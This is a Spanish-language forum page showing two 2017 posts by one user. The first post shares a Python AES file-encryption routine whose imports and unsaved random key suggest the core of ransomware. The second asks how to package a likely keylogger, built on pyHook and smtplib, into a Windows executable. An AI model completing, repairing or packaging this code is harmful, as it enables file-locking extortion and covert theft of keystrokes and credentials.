Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Th3_K1d

#1
Scripting / Necesito ayuda con PyCrypto
10 Noviembre 2017, 01:47 AM
Hola, hace unos días me topé con este código en python que cifra archivos con claves AES usando el módulo PyCrypto, el problema es que no encuentro forma de hacer un código que decifre el archivo, si alguien me pudiese ayudar lo agradecería.

Uso python 2.7.13.

# -*- coding: utf8 -*-
import os, fnmatch, struct, random, string, base64, platform, sys, time, socket, json, urllib, ctypes, urllib
from Crypto import Random
from Crypto.Cipher import AES

KEY = ''.join([ random.choice(string.ascii_letters + string.digits) for n in xrange(32) ])

def encrypt(key, in_filename, newfilename, out_filename = None, chunksize = 65536, Block = 16):
    if not out_filename:
        out_filename = newfilename
    iv = Random.new().read(AES.block_size)
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    filesize = os.path.getsize(in_filename)
    with open(in_filename, 'rb') as infile:
        with open(out_filename, 'wb') as outfile:
            outfile.write(struct.pack('<Q', filesize))
            outfile.write(iv)
            while True:
                chunk = infile.read(chunksize)
                if len(chunk) == 0:
                    break
                elif len(chunk) % 16 != 0:
                    chunk += ' ' * (16 - len(chunk) % 16)
                outfile.write(encryptor.encrypt(chunk))
#2
Primero que nada quisiera saludar, ya que soy nuevo en este foro, de hecho me registré para ver si podrián ayudarme con algunas dudas que tengo sobre la compilación de un script python.

Uso python 2.7.13, Windows 7 x64.

En primer lugar intenté compilar con py2exe, se ejecuta perfectamente y crea la carpeta "build" y "dist" con mi ejecutable en .exe, el problema esta que al ejecutarlo este funciona unos 3 segundos y al rato deja de funcionar y aparace en el tskmng el proceso de informe de fallos de windows.

Ya que el py2exe no me funcionó del todo quise probar con pyinstaller, este parece correr hasta que salta un error de codificación, que dice que no puede decodificar el código ascii en la linea 11.

Finalmente mi pregunta, quisiera saber si alguién sabe como compilar bien un script de python para que este pueda usarse "out of the box" en cualquier windows me serviría de mucha ayuda.

Si es necesario aquí están las librerías que usa mi script:

import pyHook, pythoncom, sys, logging, time, datetime, os, smtplib, platform, getpass
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.MIMEBase import MIMEBase
from email import encoders
from urllib2 import urlopen


y la codificación:

# -*- coding: cp1252 -*-

Mas tarde de publicar este post de duda probé con cxfreeze, y como sorpresa no funcionó, al parecer me da un error con una librería "pywintypes".

Traceback (most recent call last):
  File "C:\Python27\lib\site-packages\cx_Freeze\initscripts\__startup__.py", line 14, in run
    module.run()
  File "C:\Python27\lib\site-packages\cx_Freeze\initscripts\Console.py", line 26, in run
    exec(code, m.__dict__)
  File "C:\Secret\test.py", line 1, in <module>
    import logging, pythoncom, pywin, pywintypes, pyHook
  File "C:\Python27\lib\site-packages\pythoncom.py", line 2, in <module>
    import pywintypes
  File "C:\Python27\lib\site-packages\win32\lib\pywintypes.py", line 124, in <module>
    __import_pywin32_system_module__("pywintypes", globals())
  File "C:\Python27\lib\site-packages\win32\lib\pywintypes.py", line 61, in __import_pywin32_system_module__
    raise ImportError("Module '%s' isn't in frozen sys.path %s" % (modname, sys.path))
ImportError: Module 'pywintypes' isn't in frozen sys.path ['C:\\Secret\\CompTest/lib', 'C:\\Secret\\CompTest/lib/library.zip']